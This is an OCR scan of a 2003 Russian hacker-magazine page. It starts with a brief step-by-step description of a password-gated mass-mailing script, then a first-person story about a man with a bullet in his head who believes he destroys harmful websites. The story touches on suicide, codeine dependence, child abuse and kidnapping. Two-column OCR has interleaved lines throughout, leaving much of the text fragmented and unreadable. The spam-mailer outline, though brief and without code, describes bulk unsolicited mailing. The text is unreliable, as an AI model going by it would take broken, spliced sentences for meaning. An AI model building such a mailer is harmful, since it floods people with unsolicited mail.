1. вначале подключаем внешний файл 
message.txt, находящийся в той же ди- 
ректории, что и скрипт; 

2. на основе этого файла создаем сообще- 
ние; 

3. подключаем файл е@та!Гов, считываем 
эти адреса, пока не кончится файл, за- 
крываем файл, выводим количество 
подключенных записей; 

4. в зависимости от валидности пароля, на- 
чинаем рассылку или выводим список 
адресов. 

Все просто и ясно %-). 


(niro@real.xakep.rv) 
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А теперь подумайте - какими методами можно заставить человека — Яхочу дать вам совет. Зайдите на любой новостной сайт и почитай- 
раскрыть свои дополнительные ресурсы, включить недостающие Te заголовки за последние пару дней. Только заголовки. Не лезьте 
нервные клетки в информационный оборот; иными словами - что — по ссылкам дальше. Прочитали? р 
надо сделать, чтобы у графина откололось горлышко? Господа, ПЕРЕД ВАМИ ПОРТРЕТ НАШЕЙ ЦИВИЛИЗАЦИИ. 
Хочу указать вам, что вы снова на неверном пути - яне пытаюсь вам  Воттеперь пришло время поговорить и обо мне. 
объяснить, что Интернет взламывает наши черепные коробки, уве- 
личивая количество дебилов в мире. Я пытаюсь размышлять отвле- 2. 
ченно, как психиатр у постели больного. Главное - выделить основ- Когда-то я был одним из вас. У меня были имя, фамилия, работа, 
ные составляющие - например, психо-эмоциональное напряже- — семья, машина, хобби и еще много всего такого, что делает нас по- 
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аньше, кто-то позже. ХУЖЕ ВСЕГО 
О, ЧТО КТО-ТО ЗАНЯТ ЭТИМ УЖЕ 


Черт возьми, ну почему никто до сих 
пор не спросил меня: «Откуда все 
это? На основании чего рождаются та- 
|< 
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ие пессимистические прогнозы, гра- 
ичащие с сюрреализмом? Кто ты, 
mother fucker?». 
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был не здесь... Никто так и не понял, что произошло, случай не был некоей великой целью. Хотелось надеяться, что мои мучения за- 
описан в практике подобного метода исследования. Нашлись лю-  вершатся, наконец, появлением передо мной чего-то значимого, 


ди, попытавшиеся внести ясность в этот вопрос, защитили нес- ради чего стоит терпеть все происходящее... 
олько работ - но я уверен, что все они были далеки от истины. И это ЗНАЧИМОЕ не заставило себя долго ждать. 
Я и сам по сей день не знаю, что случилось с моими несчастными 
мозгами, после операции ставшими легче на сто-сто пятьдесят 3. 
граммов, которые нейрохирург просто вычерпал ложкой из череп- 
ной коробки. Но не это главное.. Оглядываясь в прошлое, можно с большой долей вероятности оп- 


. DI 
Я пришел в себя. Я смог вернуться домой. Мне дали инвалидность;  ределить существование Сети и нашу с вами жизнь в ней как один 
я получал небольшую пенсию. Мои старые друзья, общаясь со — большой «versus». В Интернете всегда кто-то «за», а кто-то «про- 
ной, не замечали ничего напоминающего о том, что когда-то в тив». Каждую секунду кто-то кому-то пытается доказать некие ист 
ою голову попала пуля да так там и осталась; что я провел в сос- ны, оспаривать мнения других, навязывать свои... 
тоянии, гораздо более близком к смерти, чем сама смерть, больше Достаточно вспомнить «войну операционных систем» - бесконеч- 
года. Казалось, что все позади. ный «Windows versus Unix», отнимающий у миллионов людей время, | 
прочем, осталось кое-что, напоминавшее мне о случившемся - = эмоции и здоровье. Сколько людей одновременно, сидя за экрана- 
агнитные бури на Солнце. Я стал жутким метеопатом; бури своди- ми компьютеров, выстукивают в чатах «Linux forever!!!»; какое кол 
ли меня с ума... чество однообразной информации переливается с одних винчес- 
До того рокового выстрела, изменившего мою жизнь, я скептически  теров на другие в надежде поставить точку в этом споре? И на что 
относился к заявлениям людей, изо дня в день сверяющих свое ар- надеется каждый из споряших? Что он собирается сделать со сво- 
териальное давление с календарем магнитных возмущений на Солн- ей вероятной победой? Как он воспользуется ее плодами? 
це. Усмешка всегда появлялась на моем лице при одном лишь упо- “ВЕДЬ В СПОРАХ НЕ БЫВАЕТ ПОБЕДИТЕЛЕЙ. 
инании о том, что у кого-то заныли суставы, предвещая проблемыв Чего стоит на самом деле «война браузеров» или «Delphi vs. С++»? 
агнитном поле Земли. Честно сказать, я в это не верил. Не верит и аквы думаете, стоит ли спорить отом, что нельзя подержать в руках? 
большинство из вас, несмотря на многочисленные заверения ученых ожно долго продолжать список бессмысленных дебатов в Сети и 
в реальности проблемы. Дай бог, чтобы ваше мнение об этом не ме- — околосетевой литературе - но тогда на основе этого перечисления 
нялось, чтобы вы были здоровы и не страдали так, как страдаю я. взрастет еще один «versus». Мне бы этого очень не хотелось. 
Вернувшись домой, я обратил внимание на то, что одолевавшие Задумайтесь над непреложным фактом - мы с вами заражены Ин- 
меня приступы головных болей, начавшиеся едва ли не впервыйже  тернетом. Благодаря ему мы сумели «ощутить» весь мир, биение 
день моего «воскрешения», подчинялись некоей схеме - достаточ- его пульса у себя дома. И вот он вошел к нам в дом - и мы не наш- 
но неопределенной, но привязанной к какому-то источнику. К это- — ли ничего лучшего, как начать все ставить с ног на голову. Все вро- 
му выводу я пришел спустя пару месяцев пребывания дома. Од- — де бы хорошо - но нет, не так, как хотелось бы. 
ажды, держа в руках газету с ежедневными новостями, я обратил акой из браузеров быстрее открывает страницы? Какая операци- 
нимание, что постоянно пробегаю глазами маленькую серую рам- нная система не «стучит» на своего хозяина? На каком языке луч- 
ку в углу предпоследней страницы - не глядя, что там, не вчитыва- е писать вирусы и гадить на винтах своих друзей? Какой антиви- 
С 
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ь в эти маленькие буковки. Это оказался прогноз магнитных бурь рус тщательнее и надежнее выдирает из почты все то, что породил 
месяц. И тогда я стал ставить галочки в календаре. оспаленный мозг студента из Торонто? Неужели вы до сих пор ис- 
Как вы думаете, что получилось? Легко предположить. Мои присту-  пользуете «Outlook»? 
пы сильных, всеобъемлющих, жестоких и еще не знаю каких болей —Очем все эти вопросы? 
где-то под послеоперационным рубцом начинались всегда через Я отвечу вам. Они - ни о чем. 
ва дня после возмущений на Солнце. Я могу с полной уверен- ы - рабы. Рабы своих вопросов и ответов. Ибо они - ничто. Мы 
ностью заявить - уж в чем, а в расписании магнитных бурь «Гидро- “спорим о способах доступа и работы в виртуальности - в простра- 
метеоцентр» практически не ошибается. Можно в ясный день за  нстве, порожденном воображением. И пусть компьютеры помога- 
несколько мгновений вымокнуть под внезапно набежавшим дож- ют нам прокладывать курс кораблям, лечить людей, решать слож- 
дем, о котором синоптики не упомянули накануне ни слова; можно — ные задачи фундаментальной науки - с этим я, несомненно, согла- 
спланировать лыжную прогулку и попасть под плюсовую температу- “сен. Все остальное - от лукавого. Его имя вам известно. 
ру, прилипая клыжне; я же планировал свое существование по гра- азовем это «INTERNET VERSUS...» | 
ику бурь абсолютно безошибочно. усть каждый подставит вместо многоточия все, что сочтет нужным. | 
Запасаясь «Солпадеином», я с ужасом ожидал приближения оче- Я всегда был практичным человеком, по натуре своей скептиком; 
редного кошмара. Месяц, в течение которого было меньше шести «Все подвергай сомнению» - мой девиз на протяжении многих лет. 
магнитных бурь, я считал очень и очень удачным. Обращался клуч- Будучи студентом, я мог часами разглагольствовать о смысле жиз- 
шим невропатологам - никакого результата. Любые процедуры и ни, любви и прочих нематериальных вещах. С течением времени 
лекарства, назначаемые мне, оказывались бессильными против — мне расхотелось тратить на это время. Не помню, что послужило к 
невидимых шупалец, терзаюших магнитное поле вокруг меня. этому толчком - неразделенная страсть или что-то еще, столкнув- 
Я обнаружил в себе неприятную черту - я стал ненавидеть здоровых ее меня лбом с реальностью, - но факт остается фактом. Когда же 
людей. Тех, кто понятия не имеет о том, что чувствую я. К тому вре- в моей голове обосновался кусочек свинца, подаривший незабы- 
мени я уже начисто забыл то, как сам когда-то был здоров и посме-  ваемые мгновенья магнитных бурь, - Интернет вошел в мою жизнь 
вался над такими, какя теперешний. Я понимал свою необычность енно с этой стороны - со стороны «VERSUS»... 
исключительность; не у каждого человека в голове есть кусок ервые несколько недель после выписки из больницы я мотался по 
расплющенного свинца, не каждый в состоянии получить пулю вго- врачам - снова и снова, пытаясь излечиться от той напасти, KOTO- 
лову и остаться после этого в живых. Но на кой черт, скажите, мне рой меня наградила жизнь, HO все было тщетно. Процедуры и лека- 
эта исключительность, если я оказался на самом дне жизни! рства, невропатологи и экстрасенсы, массаж и иголки... По мне 
Однажды я вдруг осознал, что самой первой магнитной бурей вмо- = можно было сверять график солнечной активности. 
ей жизни была та, которую вызвал в моей голове ядерно-магнитный о вот настал тот день, когда я мог обоснованно подтвердить пос- 
резонатор. Что-то случилось с моими мозгами; пуля, вонзившисьв  тулат - «Человек привыкает ко всему». Однажды утром, проснув- 
череп, произвела там необратимые разрушения, приведшие к то- = шись от сильной головной боли, я вдруг понял, что она стала при- 
му, что я стал своеобразным приемником магнитных излучений. И вычной, вчем-то даже необходимой. Она заставляла жить, двигать- 
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едва я это понял, как следом пришло понимание необратимости. ся, бороться. Без нее мне было как-то не по себе. 

Изменить ничего было нельзя; пуля покрылась капсулой из рубцо- я решил жить дальше - как будто ничего не произошло. Я пони- 
вой ткани; мозги, нанизанные на нее, приобрели новые свойства, с — маю, что сложно представить себе человека, который относится к 
которыми не собирались расставаться. больному зубу, как к чему-то совершенно обыденному (вспомните 
Я пробовал пить. Это ничего не меняло. Только голова начинала 60- себя с рукой, прижатой к щеке, с горстью таблеток на столе и сле- 


леть гораздо чаше, откликаясь на каждое похмелье. Пришлось оста- —“ зящимся глазом). Но как только понимаешь, что это всего лишь им- 

вить этот веками проверенный способ и искать другого спасения. пульс тройничного нерва, усиленный воспалением, - начинаешь \ 
Прочитал «Мертвую зону». Попытался найти общие черты между — уважать свою периферическую нервную систему. 
мной и Джоном Смитом, пролежавшим в коме намного больше, Тем же самым утром, которое подарило мне новую надежду, я ре- 
чем я. Из книги извлек лишь одну утешительную мысль - в моем по- — шил продолжить начатую ранее работу. Когда-то давно («в прошлой 
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стороны в сторону, я отчетливо представил 
вы шевельнулась пуля - и страх смерти сков 


юсти свело, Ha лбу выступили крупные хол 


капли, задрожал 


Возникло ощущение того, что меня окунули в кисель, - я практичес- 
ки перестал слышать телевизор за своей спи 
лись. Я с большим трудом проглотил комок вязкой слюнь 
ленно, очень медленно, протянул руку за таблетками. Нич 


добного раньше со мной не случалось. 


ной, глаза заслези- 


ы - могло бы 


Новый толчок. Если бы я мог видеть себя со сто 
казаться, что внутри моего черепа кто-то оче 
раскачивается из стороны в сторону. Я промахнулс 
и вскрикнул. Самым краешком зацепила мысль о т 
разжевать растворимую таблетку - мне был нужен 
том, что таблетка в принципе может и не помоч 
Сквозь болышие напряженные капли слез в глазах я видел 
занный текст на экране компьютера. Очередно 
вую половину головы заставил слезу скатиться 
я с ужасом понял, что умираю. Удары стали чаще и сильнее, 
раздумывая, рванул на себе упаковку таблеток, выхватил сразу две 
и сунул их в рот. Язык зажгло, зашипало щеки; я стал захлебывать- 


ся пеной. 


нь и очень сил 


й удар изнутри 


Ситуация полностью вышла из-под контроля. По моему подбород- 
ку текли пенистые струйки, я представлял собой жалкое зрел 
Изображение на мониторе постепенно расплывалось, смазыва- 


вскоре исчезла и она... 


леток. 


языка. Голова была достаточно ясной - н 


HMB, что со мной было, я провел рукой по 
там, где под уже отросшей 
онные рубцы. Толчки больше не повторял 
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лось в рисунок масляными красками. Постепенно мрак надвинулся 
на меня, сузив комнату до узкой полосы прямо перед глазами; 


Очнулся я в кресле - в расслабленной позе, с набухшим, обожжен- 
ным языком! рубашка была испачкана вытекшим «Солпадеином» - 
короче, выглядел я хреново. Судя по часам в трее, в таком виде я 
просидел за компом около сорока минут. Руки первым делом ма- 
инально попытались стереть засохшую корку лекарства с лица; 
очень хотелось пить, унять тот пожар во рту, что вызвала пара 


Приподнявшись в кресле, я прислушался к своему внутрен 
состоянию; у меня ничего не болело, кроме многострадаль 
асколько она может 
ясной у человека, почти час провалявшегося без сознания. Вс 
левой половине головы - 
шевелюрой скрывались послеопераци- 


Протянув руку к «мышке», я хотел выключить компьютер и п 


умыться, но на экране Mon взгляд привлекла маленькая деталь - 
одна из ссылок была каким-то особенным образом размазана, 


словно оставила шлейф при скроллинге; 
ее, я отметил слабое свечение. Едва лин 
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вокруг букв, образующих 
к привлек мое внимание, 


УРОВЕНЬ ЯГРЕССИИ 


как в левом виске что-то шевельнулось - именно шевельнулось, не 
ударило. Осторожно, направляюще - будто подсказьывая. Я замер; палец на колесике ос- 


И я, не обращая внимания на испачканное лицо и жажду, ткнул 
стрелкой в эту ссылку. тановился. Отпустило. Медлен- 


Это оказался рассказ некоего молодого автора, проповедующего но поведя глазами из стороны 
педофилию. Не вдаваясь в подробности, скажу - на любителя. Но де- 
ло было не в этом. У меня закружилась голова. На секунду я предста- LE) (ev 25) Слова НЕЕ: 
вил количество произведений самых разных жанров и авторов, на- тавил себе, как внутри моей 


копленных на просторах Интернета, оценил проходимость сайтов, головы шевельниулась пуля - и 
занимающихся подобной информацией, - ужас охватил меня. А ведь 


литература - лишь один из способов воздействия на мозги... страх смерти сковал мои мыш- 
Судя по индексу посещаемости, рассказ не пользовался особой цы; челюсти свело, на лбу выс- 
популярностью - однако я знал, что где-то есть человек, который 

прочитал этот рассказ и расценил его как указание к действию. WE LAR OS) LE SUI) 2S PILES Le = 
Я видел его сидящим на диване с несколькими листами бумаги, н ли, задрожали губы 


которых был распечатан рассказ. Он внимательно изучал текст, по- 
том закатывал глаза к потолку - так что зрачки исчезали под веками 
- и мечтательно улыбался. А ребенок, который должен был стать 
его жертвой, еще ни о чем не догадывался. 


В тот день пуля больше не шевелилась. 


Поверьте мне, я не хочу рассказывать вам о том, что творилось у 4. 

меня на душе. Мы все, люди хоть с каким-нибудь интеллектом, по- Я долго не знал - плакать мне или радоваться. Приобрести необыч- 
рой испытываем подобные эмоции. ные способности - кому этого не хочется? Кто не мечтал о том, что- 
Я ПРОСТО ХОТЕЛ ПОМОЧЬ... бы владеть телекинезом, читать мысли на расстоянии, левитиро- 


Казалось, что мой висок треснул по шву. Дыхание прервалось, вать? И это яеще называю одни из самых экзотических и желаемых 
сердце взметнулось в грудной клетке, как птица; мощь магнитной — возможностей. А сколько существует всякого рода мелочей, кото- 
бури, отодвинутая от меня болеутоляющей таблеткой, вновь вонзи-  рыми человек жаждет обладать? 

лась в меня. Телефонный провод, протянутый по плинтусу, внезап- «Я сам из тех, кто спрятался за дверь, кто духом пал и не во что не 
но засветился ярким голубоватым светом - словно он принял в се- верит...» Эти строки я не раз примерял на себя после выписки из 
бя мою боль. Все продолжалось пару секунд. больницы. Я уже морально был готов провести свою жизнь взапер- 
Мне очень не хотелось потерять контроль над ситуацией. Я сумел ти, иногда встречаясь с избранными друзьями, - лишь бы укрыться 
удержаться на плаву, вцепившись руками в подлокотники; костяш- = CO своим недугом от окружающего мира, не афишировать свою 


ки пальцев побелели, руки свело серией судорог. боль и свои переживания. Будучи по натуре своей человеком гор- 
Потом все ушло. Будто на электрический стул перестали подавать — дым и независимым, я был уверен в том, что чужая жалость внача- 
ток. Я в последний раз вздрогнул и обмяк, словно студень. ле будет меня раздражать, но потом все-таки сломает. 

Ссылка исчезла со страницы. Порой, стоя у окна и наблюдая чужую жизнь, текущую по своим за- 
Я попытался увидеть вновь того человека, читающего на диване, -  коном далеко внизу, я ловил себя на мысли, что отказываться от 


безрезультатно. Зато я очень ясно представил (именно «предста- всего этого достаточно глупо - сколько людей в мире продолжают 
вил» - ибо это уже имело отношение скорее к банальным пережи- — жить, сидя в инвалидных колясках, потеряв зрение, оставшись без 
ваниям), как где-то далеко играет в песочнице ребенок в красной рук и ног. Но я был уверен, что социальной реабилитации можно 
шапочке. А ведь это мог быть мой не родившийся сын от не вовре- подвергнуть любого из них - но ни в коем случае не меня. 

мя ушедшей жены... 


® раде 121 


Я был исключением из правил. Человеком с простреленной головой. — раявзламывала мое сознание в первый раз, больше не будет прояв- 
Нельзя жить в обществе, подчиняясь календарю магнитных бурь. = лять себя с прежней интенсивностью - она уже обрела в моем лице 
Меня станут бояться. Меня будут жалеть. И я шагну с балкона... союзника, пусть невольного. Толчок был несильным, но властным. 

Следующие два дня были для меня сущим адом. Видимо, Солнце ele He знал, что делаю. Но уже чувствовал, что не могу остановиться. 
разошлось не на шутку, надеясь уничтожить меня своим излучени- Снова голубым сверкнул телефонный провод. Снова сквозь меня 
ем. Я провел все это время на диване, не раздеваясь, вытащив из прошла струна магнитного резонанса. 
холодильника и поставив рядом с собой в пределах досягаемости Когда я открыл глаза, передо мной на экране была база данных 
несколько бутылок минеральной воды, чтобы растворять свое лю- — московского ГИБДД по машинам, находящимся в угоне. Окно реги- 
бимое лекарство - я боялся, однажды очнувшись, понять, что сил страции было услужливо распахнуто. И я ввел номер «Жигуленка»... 
двигаться больше нет. ягкий толчок. Судя по всему, это было что-то вроде благодарности. 
В моменты просветления сознания, когда боль отступала, я пытал-  Выключив компьютер, я отошел к дивану и прилег. Сил хватило 
ся философствовать; искал и не находил объяснения тому, что со — только нато, чтобы не закрывать глаза. Я смотрел прямо перед со- 
мной случилось. Каким-то невероятным образом я сумел стереть бой в потолок и думал, думал... 


ссылку на сервере, находящемся от меня очень и очень далеко, - В первый раз, когда я наткнулся на рассказ отвратительного со- 
не используя для этого ничего, кроме указующего перста, стучаще- — держания, Интернет показал мне причину. Во второй раз - во вре- 
гося изнутри в мою черепную коробку. мя готовящегося похищения человека - следствие. И в обоих слу- 


чаях я сумел нарушить причинно-следственную связь. 
Тогда я задумался над пониманием процессов, протекающих в Се- 
Когда впервые я понял, что ти. Она была а ьным средством вл яния - и от количества аг- 
ессивнои информации, проходящеи через провода в единиц! 
коню DAML ссы 2 IIS Be Vedi Canned a Ha и И Иа ' . 
жив все « агрессивные ссылки» тогда впервые в моей голове возникло желание ПРОДОЛЖАТЬ. 
(этот термин я тоже придумал Оглядываясь назад, я понимаю, что случилось это именно после 
второго эпизода, когда я, вставая из-за компьютера, увидел, как на 
ыезде из города «Жигуленок» был задержан, связанного человека 
ытащили из багажника, а убегающего похитителя, так и не сумев- 
его довести свой груз до Северного Кавказа, застрелили. 
одойдя к зеркалу, я взглянул на себя критически. Мое отражение 
есло на себе печать обреченности. В настоящий момент я был не 
пособен ни на что другое, кроме как швырять энергию своей боли 
телефонные провода. Криво улыбнувшись, я кивнул сам себе, вы- 
л таблетку и снова сел за компьютер... 


сам), невозможно - на корот- 
кий период мне стало страшно. 
В тот день я увидел на одной 
странице новостного сайта сра- 
2y три подобных линка. 


IF WD 


SO: Se 


Подвести под это какую-нибудь теорию было очень и очень сложно 

Я терялся в догадках, но не особенно напрягался, чтобы решить эту 5. 

задачу. Человек в моем положении легко смиряется с происходя 

IMM. Если вы неизлечимо больны - вы перестаете спорить с самим «Я получил эту роль, мне выпал счастливый билет...» 
собой, перестаете сопротивляться; но не сразу, не с первого дн Вот только счастьем здесь и не пахло. 
Вы должны к этому приблизиться, шаг за шагом, минута за минуто Каждый день я выходил в Интернет, как на работу. Я вбирал в себя 
переживая боль снова и снова. И если в момент, когда вы уже гото- такой объем негативной информации, что он казался просто нере- 
вы залезть в петлю, на вас сваливается что-то вроде того, что случи-  альным. Пламенеющие размазанные ссылки, которые моя пуля 
лось со мной, - вы воспримете это как нечто, пришедшее в вашу MAIKO, но требовательно показывала мне (к тому времени я уже так 
жизнь для того, чтобы усложнить ее больше. Так поступил и я. и называл ее - «моя пуля»), - их количество росло прямо на глазах. 
У меня, безусловно, был выход из создавшейся ситуации. Я мог не было непонятно - то ли вначале мои мозги проходили некую 
никогда больше не подходить к компьютеру; я мог отказаться OT тренировку, то ли я сам постепенно учился обнаруживать их. 
нтернета. А если случившееся со мной носило характер случай- Когда впервые я понял, что выключить комп, не уничтожив все «аг- 
ности? Как тогда поступить? Способ был один - проверить это, — рессивные ссылки» (этот термин я тоже придумал сам), невозмож- 
сидя за экраном. но - на короткий период мне стало страшно. В тот день я увидел на 
на вторые сутки борьбы с болью я поднялся с дивана и шат- — одной странице новостного сайта сразу три подобных линка. Прой- 


Я 
й 


кой от голода походкой подошел к компьютеру. Тогда я не заду- = дя сквозь два из них (не буду вдаваться в подробности, но обе они 
мался над тем, что будет, если через несколько минут история несли разрушительное влияние на детскую психику, накачивая их 
с Lib.ru повторится на каком-нибудь другом сайте. Смогу лия мозги порнографией), я почувствовал такую слабость, что решил 
пережить еще один подобный приступ? Да еще в том состоя- пренебречь оставшейся - на нее у меня просто не хватало сил. Но 
нии, в каком находился, - с шумящей от слабости головой, с отойти от компьютера, а тем более выключить его не удалось - ре- 
дрожащими руками и ногами? зонатор в левом виске устроил мне такую бурю, что я невольно упал 
Я не стал утруждать себя поисками ответов на эти вопросы. Я прос- обратно в кресло и, не задумываясь, потратил последние в тот 
то включил компьютер и зашел Ha Rambler. день нервные клетки на уничтожение третьего линка. Только после 


Ничего не произошло. Я потыкался мышкой в разные ссылки, прос- = этого мой свинцовый сторож смилостивился надо мной и позволил 
мотрел равнодушным взглядом новости со всего мира; чувство го- = доползти до дивана. Проваливаясь в сон, я видел перед собой ти- 


лода победило и подтолкнуло меня к холодильнику. Несколько бу- хо шелестящий, почему-то прозрачный винчестер, на котором 


тербродов вернули меня к жизни; я вновь опустился в кресло... превращался в ничто один из сайтов русских фашистов... 
туг же увидел то, что искал. Светящуюся ссылку. «Жертвы Кавка- Судя по всему, я объявил войну Интернету - или он объявил войну 
зской войны...» Клик. мне. Тот уровень, на котором я «работал» в первое время, посте- 


Ничего особенного. Новости как новости. Еще несколько человек  пенно уступал место новому - «уровню агрессии». Вообще, у меня 
ернулось из плена; стоит порадоваться за людей, вновь обретших — появилось много новых терминов, сопровождающих меня в моей 
вободу... Я разочарованно хмыкнул; не такой реакции ожидал A, HOBO жизни, и «уровень агрессии» - один из самых удачных. 
ткрывая «меченую ссылку». А потом я вдруг отчетливо увидел пе- Вначале я установил пятибалльную шкалу для этого уровня - HO уж 
ед собой неприметный грязно-белый «Жигуленок», медленно та- “очень разношерстной оказалась BCA Ta гадость, с которой мне при- 
ившийся вдоль какого-то московского переулка. Человек, сидя- — ходилось бороться, пришлось развернуть ее в десять баллов, а по- 
ий за рулем автомобиля, внимательно разглядывал шедшего по TOMB сто. К счастью, ссылок, ведущих на уровень, близкий хотя бы 
тротуару мужчину, периодически бросая взгляд на сиденье рядом,  K «пятидесятому», мне еще не встречалось (я просто понимал, что 


DOOD 


где лежали веревка и пистолет. Губы его невнятно шевелились; ар- еще многого не могу себе вообразить, поэтому на всякий случай 
тикуляция была явно не похожа на русскую. развернул свою шкалу с запасом). 

Во весь экран моего компьютера всплыл из глубин пространства — Постепенно я обретал опыт. Сами понимаете, вещь немаловажная. 
номер «Жигулей». И тут же мой левый висок ожил. В первую очередь я учился спасать самого себя; уменя выработал- 
Конечно же, я ждал чего-то подобного. Кое-что я даже угадал - а CA комплекс мероприятий по выходу из жутко разбитых состояний, 


именно интенсивность боли. Я просто чувствовал, что та сила, KOTO- следовавших за каждой моей победой, я овладел йогой, занимал- 


122 april/O4/2003 ® 


УРОВЕНЬ ЯГРЕССИИ 


ся аутотренингом. Поняв, что этот этап я прошел, я принялся более — Постепенно я пришел к выводу, что это перестало быть моим нака- 
тщательно всматриваться в происходящее на экране. занием, превратившись в работу. Я ходил на эту работу ежедневн 
Тот клубок нервных клеток, опутавший пулю, каким-то непостижи- и проводил на ней нелимитированное время. Чтобы оплачивать 
мым образом трансформировал негативную информацию, что HEC-  ‘свойтрафик, я втечение часа в день собирал некую новостную лен- 
ли в себе документы, на которые указывали «меченые» ссылки. Не ту для сайта провайдера, за что имел анлимит по символической 
сразу я научился отличать цвет сияния линка в зависимости от то- цене. Если бы не это, я давно бы продал с себя последние штаны - 
го, что за ним скрывается; не сразу научился планировать свой — мои атаки непостижимым образом пропускали через сервер про 
серфинг. Пока я не разобрался в том, что оранжевое сияние указы-  вайдера многомегабайтный трафик, несмотря на кратковремен- 
вает на сексуальные преступления, голубое - на преступления про- ность воздействия. 
тив личности, салатовое - на явления расизма и шовинизма, покая Помните, в начале нашего разговора я упомянул о шизофрен 
не выстроил для себя четкую схему этих отличий, я бездумно хва- ках и их восьми процентах нервных клеток, участвующих в анали- 
тался за первую попавшуюся «агрессивную ссылку», пытаясь бло- зе и синтезе информации? Недавно я пришел к выводу, что мои 
ировать и ее саму, и тот процесс, что она запускала в людях, про- мозги, формируя свои собственные магнитные бури и выплес- 
едших по ней. кивая их в провода, давно уже откололи от своего узкого гор- 
Очень скоро выяснилось, что некоторые проблемы я решал с мини- лышка намного больше половины. Ко мне в сознание вместе с 
мальной затратой сил - например, форматирование винчестеров TOM чертовой пулей хлынула куча всякой гадости; конечно же, я 
на порносерверах. Другие же незримые схватки с потоками агрес- не мечтал ни о чем подобном; конечно же, я оказался не готов- \ 
сивной информации решались с большим трудом (особенно проб- HO это только в начале пути. С каждым днем я все больше и 
лемы религиозной нетерпимости - пару раз столкнувшись с тем, больше обретал уверенность... 
ак на исламских сайтах, проповедавших джихад, мои магнитные Хуже всего оказалось другое, поначалу незамеченное. Не вдаваясь 
бури наталкивались на противостояние всего мусульманского мен- в подробности, скажу - уровень агрессии растет; я не в состоянии 
талитета, я стал осторожнее и готовился к подобным воздействиям угнаться за ним. 

достаточно долго). а экране моего монитора поместился слишком маленький кусо- 
не кажется, что у вас может сложиться впечатление, будто я ка- чек глобального кошмара, называемого Всемирной паутиной. 
ким-то образом мог планировать свою «работу». Это не так. Я был сожалению для всех вас, к счастью для меня - «агрессивные 
зависим от нее на все двести процентов; я был подчинен ей ине ссылки» не нужно искать, они всегда рядом. Сквозь пламя букв я 
мог от нее избавиться. Она покорила меня; но и я не оставалсяв вижу все то, чем нас пугают Спилберг и Верховен, Бредбери и 
долгу. Каждое мое погружение в Сеть наносило точный удар - а по- инг; я вижу кадры из «Армагеддона», «Писем мертвого человека» 
том, лежа на полу возле компа и не имея сил подняться, я просил и «Эпидемии»; я вижу пороки, гнев, ненависть, я пропускаю все это 
судьбу отнять у меня мой страшный дар. Я заглядывал в эту бездну сквозь себя, чтобы, не дай бог, не ошибиться - хотя мои молнии, 
понимал, что уже не могу остановиться. сверкающие в левом виске, еще ни разу не ошиблись. 
ногда я мечтал о том, что «моя пуля» сможет явить мне обратную ой организм тает, как свеча. Я - как тот негр-великан из «Зеленой 
сторону Интернета - я смогу видеть ссылки, несущие исключитель- мили»; я хочу помочь всем, но мне не хватит и десяти жизней на это - 
но положительную информацию, смогу получать от них некую под- поэтому я хочу умереть. Наверное, я уже подсел на «Солпадеин» - 
питку моей расшатанной нервной системе, просто смогу продер- “недавно прочитал на упаковке, что в его состав входит кодеин (а я-то 


жаться на плаву хоть чуть-чуть дольше. Но ничего подобного не думаю - что мне так хочется его выпить, даже если голова не болит?) 
происходило. Оставалось надеяться на то, что все, что я делаю, - Вы, наверное, думаете, что все, о чем здесь шла речь - бред вос- 
некое божественное предназначение. И это стало еще одним эта-  паленного рассудка? Спешу вас огорчить. От первого до послед- 


го слова здесь все - правда. Но я не сказал пока самого главно- 
- почему я решил поведать все вам, читающим сейчас это элект- 


Религия. Вера. Любовь к жизни и людям, которых защищал мой дар. 
Я проникся 91 составляющими; я хотел бы донести их до вас. Но ронное письмо, отправленное по спам-листу сразу двумстам тыся- 
смыслом моей жизни стала борьба с «уровнем агрессии». Я создал чам человек (и даже, наверное, немного больше). 

й ННЫЙ «уегзиз» - яи Сеть. Вы знаете, как порой бывает Этот текст - своего рода доказательство того, что я существую. 
необходимо назвать все своими именами - чтобы после этого все Что-то вроде завещания. Пришла пора написать его, ибо вчера ве- 


цели были четко и однозначно обозначены. чером случилось то, о чем я всегда втайне размышлял и всегда бо- 
НТЕРНЕТ - СУЩЕСТВО АГРЕССИВНОЕ. ялся встречи с этим. | 

С этого я начинал наш разговор. Я думаю, что теперь вы согласны Вчера вечером впервые пуля толкнула меня в висок, когда компью- | 

со мной. Но это еще не окончание моего монолога. тер был выключен. Такого не было никогда. Я расценил это какпри- \ 


не очень хочется верить в то, что где-то есть и другой полюс  каз.Я вообще не привык с ней спорить. 
проблемы; что есть человек, подобный мне - но управляющий по- Когда я включил свою машину, то понял, что пути назад нет. Пуля не 
зитивной информацией, способной сделать человека чище, доб- — отпустит меня, пока я не закончу работу - или пока не умру. Причем 
рее, возвышеннее... Я пытался отправить ему некое подобие им- — второй вариант был предпочтительнее, потому что... 

пульса, просящего о встрече, - но, видимо, я не так хорошо умею — Потому что на рабочем столе моей Windows Longhorn пламенел ро- 
распоряжаться своим «талантом»; ответа не было. зовым светом значок Интернета. Уровень агрессии превысил все 
Не думайте, что у меня все так безоблачно - что каждый заход за- допустимые нормы - и выплеснулся через край. Вся Сеть была зах- 
канчивается отсечением еще одного шупальца у монстроподобно-  вачена; вокруг меня сгустился воздух, провод выделенки засветил- 
го Интернета. Периодически и ятерплю поражения; иногда они бы- = ся голубым светом (как меч Бильбо Бэггинса - «Рядом орки»)... 
вают очень жестокими. Интернет начал мстить мне. Он стал отчаян- “Прежде чем кликнуть по значку, я написал это письмо. Компьютер и 
но сопротивляться. В такие дни у меня опускались руки. пуля все равно не позволят мне уйти - поэтому я потратил почти 
огда в небе над Америкой семеро астронавтов сгорели в «Колум- = всю ночь и написал так подробно. Боюсь, второй попытки не будет. 
бии», я напился. Вообще я редко это делаю, но тогда... Пришлось (Тут должен был быть «грустный» смайлик - а ятак и не научился их 
отдать должное Интернету, вытолкнувшему меня из центра НАСА — ставить.) 

при помощи какой-то защитной программы; я просто не успел вой- Сейчас я отправлю письмо и... И до чего же я люблю многоточия... 
ив Сеть снова. Тогда я стал осторожнее, установил себе выделен- 

ую линию, чтобы не тратить время на дозвон, - но и это не помог- Р.5. Если получится, передайте привет тому парню, что вышиб 
ло мне; судя по всему, ответы Сети стали ожесточеннее, точнее; я мне мозги. 

ываливался из Интернета, не выполнив своей миссии, два раза из 


пяти. Высокий процент, учитывая последствия для организма. Благодаря ему вы все еще живы... 
не приходилось приспосабливаться. Это было что-то вроде ми- = 
микрии. Я маскировал свои атаки; иногда я специально просматри- = 


вал несколько обычных ссылок вокруг одной «агрессивной», подго- 
тавливая себя к тому, что предстоит пережить, кликнув по ней. Мо- 
